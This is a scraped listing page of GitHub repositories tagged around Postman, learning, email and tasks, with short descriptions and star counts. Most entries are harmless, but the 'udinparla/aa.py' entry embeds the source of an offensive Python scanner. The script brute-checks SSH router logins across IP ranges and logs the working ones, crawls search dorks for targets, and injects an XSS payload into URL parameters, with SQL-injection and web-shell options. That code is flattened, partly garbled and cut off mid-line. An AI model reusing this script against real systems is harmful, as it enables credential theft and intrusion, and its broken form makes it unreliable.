course, devs, github, learn, learning 		Test project learning in a xamarin course using github and postman. 0 stars 0 watchers 0 forks
FredDsR/PostManager
learn, learning, node 		A simple CRUD for learning node.js 0 stars 0 watchers 0 forks
GenyaTSL/API-Postman
course, learn, learning 		learning course 0 stars 0 watchers 0 forks
hatoriz/selflearning_postman
html, http, https, learn, learning, tutorial 		https://www.guru99.com/postman-tutorial.html 0 stars 0 watchers 0 forks
itanvir/mlapi
learn, learning, machine 		A machine learning API using Flask and Postman 0 stars 0 watchers 0 forks
jaroslawjusiak/UserManager
learn, learning 		Simple API project for learning Postman 0 stars 0 watchers 0 forks
kabanon/learning-elastic-search
elastic, learn, learning, search 		You Know, for Search 0 stars 0 watchers 0 forks
kiticgoran90/rest-api-crud-app
crud, learn, learning, rest 		Student project, REST API CRUD app, learning Spring MVC, Spring REST, Hibernate ORM, JSON, MySQL, Maven, Postman... 0 stars 0 watchers 0 forks
lensuzukilayhe/learning-git-newman-jenkins
bash, file, github, jenkins, learn, learning, link, newman, push 		i will be learning how to use API's with github through git bash, linking from file to file, pushing it through jenkins, from Postman 0 stars 0 watchers 0 forks
lilarkin/api_practice
learn, learning, scratch 		learning how to create an API from scratch with Node.js, MongoDB, and Postman. 0 stars 0 watchers 0 forks
LockeReed/knex-lesson
api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql 		learning postgresql, knex, postico, postman 0 stars 0 watchers 0 forks
ManpyRana/postman-newman-jenkins
jenkins, learn, learning, newman 		learning 0 stars 0 watchers 0 forks
martinezmatias0902/Backend-Practices
learn, learning 		Backend Introduction, I'm learning how to work with NodeJS, Express, Nodemon, PHPMyAdmin, Postman, MongoDb and MySQL 0 stars 0 watchers 0 forks
netexlearningtechnologies/WSPlay
learn, learning, technologies, test 		Project to launch Play WS to test by Postman and Travis CI 0 stars 0 watchers 0 forks
PasanTestAutomation/Postman
learn, learning 		This is for the purpose for learning postman with git 0 stars 0 watchers 0 forks
r1990v/Postman_LearnAPI
learn, learning, postman scripts, script, scripts 		This repo contains postman scripts for learning purposes. 0 stars 0 watchers 0 forks
ram0007raju/learning
github, learn, learning 		learning github and postman 0 stars 0 watchers 0 forks
RsRuman/MyBlog
learn, learning, system, to do 		This is a simple REST API PHP project where I implemented CRUD system using raw PHP(OOP). I used postman to do this. For learning purpose I did this project. 0 stars 0 watchers 0 forks
sayak119/fashion-mnist-flask
flask, learn, learning, machine, model, models 		PoC to serve machine learning models using flask 0 stars 0 watchers 0 forks
Sdlearning/PostmanTest
learn, learning, test 		Postman test 0 stars 0 watchers 0 forks
Shushan91/Http-Calls
learn, learning, selenium, to do 		learning how to do calls with the selenium and postman 0 stars 0 watchers 0 forks
VienneW/postman
learn, learning 		learning how to use postman 0 stars 0 watchers 0 forks
wesjones15/learning-apis-sql
api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql 		Python, APIs, SQL, Postman, Docker 0 stars 0 watchers 0 forks
yarepka/light-wikipedia
learn, learning, light, send, to do, wiki, wikipedia 		It's a really small project for learning how to do RESTful API's, sending requests through the Postman app 0 stars 0 watchers 0 forks
Zahermah/GamingShop
learn, learning, node 		Building a shop for fun using postman request and learning node.js and trying MongoDB 0 stars 0 watchers 0 forks

email (46 listings) (Back to Top)

zachlatta/postman
email, mail, send, server, server., tool 		CLI tool for batch-sending email via any SMTP server. 743 stars 743 watchers 49 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
mynewsdesk/postman
email, event, filter, mail, news 		Search and filter Sendgrid email events 5 stars 5 watchers 0 forks
RTradeLtd/ipld-eml
data, email, mail, parse, parser, store, stores 		An RFC-5322 compatible email parser that stores data on IPFS 5 stars 5 watchers 0 forks
rupakg/postman
application, email, mail, server, serverless, service 		A simple serverless application with an email service. 4 stars 4 watchers 1 forks
at15/postman
email, emails, mail, notification, party, push 		Deliver emails and sms and push notifications using third party API 3 stars 3 watchers 0 forks
stt-systems/postman-cli
email, emails, mail, send, server, system, systems, tool 		Python CLI tool for 📧 emails sending using SMTP server 2 stars 2 watchers 2 forks
snoopydo/Postman
email, emails, mail 		Rich Html emails using Razor Views 2 stars 2 watchers 0 forks
corruptmem/postman
email, emails, mail, manages 		Listens for emails via AMQP and manages the delivery 1 stars 1 watchers 0 forks
jonatassales/postman-ui
email, mail, messaging, service 		UI for a email and messaging service 1 stars 1 watchers 0 forks
joyghosh/postman
actor, current, email, framework, mail, relay, technologies 		Highly concurrent and queue based email relay sever. JMS and Akka's actors framework are the main technologies used. 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
mattumotu/postman
email, emails, light, mail, object, send 		a light weight, object-oriented .Net SDK for sending emails 1 stars 1 watchers 0 forks
most-007/task-managment
document, email, file, html, link, mail, rest, task 		Cakephp app for task management and rest API to get all links in a given html document URL , and API to sent PDF file using postman to a given email 1 stars 1 watchers 0 forks
nmjmdr/postman
email, emails, mail, service, services, support 		Sends emails reliably (supports failover) using services such as Sendgrid and Mailgun 1 stars 1 watchers 0 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
annabush092/hey-mr-postman
active, display, email, interactive, mail, play 		An interactive, 3D display of your email inbox 0 stars 0 watchers 1 forks
emailwizard/emailwizard-postman
collection, collections, email, emailwizard, mail, test, testing 		Postman collections which are useful for emailwizard API testing 0 stars 0 watchers 0 forks
slawosz/emailwizard-postman-collection
collection, description, email, emailwizard, mail, script 		No description available. 0 stars 0 watchers 0 forks
umesh-acquia/email-service-smoke-test-postman
description, email, mail, script, service, smoke, test 		No description available. 0 stars 0 watchers 0 forks
5uw1st/postman
email, mail, rest, restful 		Send email by restful api and Configurable 0 stars 0 watchers 0 forks
AbstractElemental/postage
email, emails, library, mail, powered, send 		Simple library for sending emails powered by Freemarker. No postman or milkman to steal your mom here. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
bqluan/postman
email, emails, mail, send, support, template, tool 		A tool which is able to send emails in batch and supports email template. 0 stars 0 watchers 0 forks
chakshuahuja/Remit-Box
config, configurable, email, emails, mail, offline, python, script, send 		API Hack Day - Made a python script using APIs of Exotel, SendGrid, Postman to send configurable emails in offline mode via SMS 0 stars 0 watchers 0 forks
codetarsier/django-postman
backend, django, email, mail, service 		email and sms backend for zaya's POSTMAN service 0 stars 0 watchers 0 forks
dmitry256/fortnight-postman
email, emails, mail, schedule 		Server app to schedule emails 0 stars 0 watchers 0 forks
ejahirdad/Laravel-Dasar
email, login, mail 		Disini terdapat Fitur login, Fitur CRUD, fitur Kirim email, Fitur REST API menggunakan Postman 0 stars 0 watchers 0 forks
gearnode/postman
email, mail, node 		Micro Service for manage email delivery 0 stars 0 watchers 0 forks
geeeeeeeeek/opt-postman
days, email, mail, notification, stat, status 		📮Get email notification of OPT status & statistics every * days. 0 stars 0 watchers 0 forks
HackerspaceBlumenau/postman
email, emails, mail, slack 		Send emails received to slack channels 0 stars 0 watchers 0 forks
igocooper/postman-mail-uploader
drive, email, emails, mail, river, service, upload, webdriver 		webdriver.io based algorithm to upload emails to postman service. 0 stars 0 watchers 0 forks
jeteve/Email-Postman
email, emails, mail 		deliver emails to the real world 0 stars 0 watchers 0 forks
mistakenot/postman
email, mail, sort, writing 		Learning a full stack (TypeScript, Firebase, Angular 2, Node) by writing some sort of email inbox thing. 0 stars 0 watchers 0 forks
miyamae/postman
broadcast, email, mail 		broadcast email 0 stars 0 watchers 0 forks
newwordorder/email-templater
email, mail, order, template 		Postman Pat -- Marketing email scaffold and build 0 stars 0 watchers 0 forks
param2404/userPosts
check, collection, collections, description, email, mail, model, mongo, mongoose, operation, patch, phone, result, script, user, users 		C.R.U.D operation using REST APIs and Mongoose . 1. Create two collections (User,Post) using mongoose.model USER: name, phone,email etc. POST: title,description etc. 2. Add users/post through POSTMAN and check the result in robo3t.(CREATE-post) 3.Fetch users/post through POSTMAN and check the result in robo3t.(READ-get) 4.Update users/post through POSTMAN and check the result in robo3t.(UPDATE-patch) 5.Delete users/post through POSTMAN and check the result in robo3t.(DELETE-delete) 6.Fetch a particular user's post using its id or name . 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
postman-app/postman
email, emails, mail, quickly, send 		OTP Application to send emails quickly and easily. 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks
ThCC/postman-client
client, complex, email, emails, mail, send, service, template 		Client service, to send simple text emails or, using a template created at Postman, send more complex emails. 0 stars 0 watchers 0 forks
ThCC/postman-client-js
client, complex, email, emails, mail, send, service, template 		Client service, to send simple text emails or, using a template created at Postman, send more complex emails. 0 stars 0 watchers 0 forks
wellcomer/pechkin
email, file, mail 		The postman Pechkin. Send file as an email attachment. 0 stars 0 watchers 0 forks
x0y-gt/postman
email, mail, python, send 		Library to send email in python 0 stars 0 watchers 0 forks

task (45 listings) (Back to Top)

carlowahlstedt/NewmanPostman_VSTS_Task
lines, newman, task, test, tests 		A task for Azure DevOps Pipelines to run newman tests. 0 stars 0 watchers 19 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To 